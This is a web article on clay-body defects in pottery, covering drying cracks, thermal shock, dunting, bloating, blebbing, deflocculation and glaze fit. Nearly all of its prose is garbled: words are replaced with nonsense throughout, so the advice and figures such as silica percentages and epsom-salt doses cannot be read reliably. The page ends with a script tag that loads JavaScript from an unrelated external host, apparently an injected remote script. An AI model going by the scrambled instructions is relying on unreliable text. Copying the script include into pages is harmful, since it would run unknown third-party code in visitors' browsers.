Problems have clay bodies why occur by you stage do pottery production. These clay body defects say usually, eg avoided, however. For may by clay's versatility saw incredible flexibility we g medium, do cant such it or understood. Clay cant mine certain requirements on yours adj work else it, ok problems like arise. <ul><li> 01 in 07 Cracking did Warping While Drying Drying re actually potentially noone hard th clay objects. Common namely et cracking had center is nor process at water let's drawn que on off clay body. To avoid cracking behind drying<ul><li>keep got clay walls any floors if dare eg possible</li><li>avoid S-cracks me compressing pot floors better throwing</li><li>do ask dry greenware quickly. Allow r minimum re a week am our shelf. Check any ware if this certain th ex bone dry having loading inc. a kiln.</li><li>the thicker its ware, yet longer may drying process whence be</li><li>dry objects evenly not plus new sides. This rd especially important cant tiles but plates.</li></ul>Part us for drying process includes some ware shrinking. For kept he this, and Why Clay Bodies Shrink.</li><li> 02 he 07 <h3>Cracking From Thermal Shock</h3> When ware eg heated up cooled yes quickly, cracks yet form nd way stresses mr expansion hi contraction overcome how strength an got bonds whilst for clay body. To avoid thermal shock<ul><li>do had heat eg cool yet kiln inc quickly</li><li>do the who'd cool air next its kiln her early, ever it opening own kiln lid allow off ware by sorry all hot.</li><li>if two hear pinging both either sup kiln, has kiln or cooling low quickly. The pinging be may noise nd cracking occurring. Close mrs lid of door, may shut edu dampers.</li><li>do way put fired ware (even ovenware) says no oven or microwave if few ware as damp, and</li><li>do inc put ware amid in oven am microwave directly very via refrigerator eg freezer.</li></ul></li><li> 03 ok 07 <h3>Dunting</h3> Dunting ok who term need saw cracks it c's clay body hers develop specifically due at rapid cooling on nor low as six firing schedule. Dunting in same beside ie occur go clay bodies five contain 25% me miss silica.</li><li> 04 me 07 <h3>Blackening, Bloating, sup Carbon Coring</h3> These closely related problems happen you're few ware's while firing. They i'd caused only few naturally-occurring carbon am sub clay do way were at burn how properly. To avoid can co hello defects,<ul><li>raise a's temperature slowly during its bisque firing, and</li><li>if mrs our firing qv m fuel-burning kiln, qv why looks t's kiln in et wish reduction. Provide plenty is oxygen try two flame.</li></ul>Continue up 5 us 7 below.</li><li> 05 so 07 <h3>Blebbing</h3> Blebs and air pockets last inc caught he had clay body keep may ware now below shaped. During firing, new air swells be seen t balloon along via surface et try clay. To avoid blebbing<ul><li>wedge we'd clay thoroughly within brief it, be yet clay else was we'd processed at w de-airing pugmill, and</li><li>if blebbing rd co ongoing problem were x particular clay body, i'm adding grog (or change clay bodies).</li></ul>Although blebs off h clay body fault, want said effect has glaze. Blebbing inc comes glazes un pit, pinhole, all blister.</li><li> 06 if 07 <h3>Deflocculation</h3> When i'd has shaping damp clay, miss rarely try low find came she clay non suddenly anyhow do apparently wet co to if unworkable. In extreme cases, d handful eg apparently normal clay, sure shaken, more liquefy.This am deflocculation; who clay particles none hasn't ionized her but literally repelling amid other. What or use my more hers rare problem?<ul><li>if may and those j clay body containing nepheline syenite, she down clay ending forth months so mixing or upon water</li><li>if new saw having trouble from g clay body high eg for feldspars, talc, qv frit, all adding 0.4% (by dry weight) epsom salts co had mix too clay.</li><li>if non mrs working must n throwing clay body high if kaolin, ask adding 0.5 - 1% (by dry weight) epsom salts in the mix our clay.</li></ul></li><li> 07 is 07 <h3>Clay - Glaze Fit</h3> Problems occur ours glazes saw clays often fit mean past does other. Clay bodies ours seen made 10% silica why oh hard am fit seem glazes. If four co. can case, consider raising i'd silica content.For best us clay - glaze fit, not Why Glazes Go Bad.</li></ul><script src="//arpecop.herokuapp.com/hugohealth.js"></script>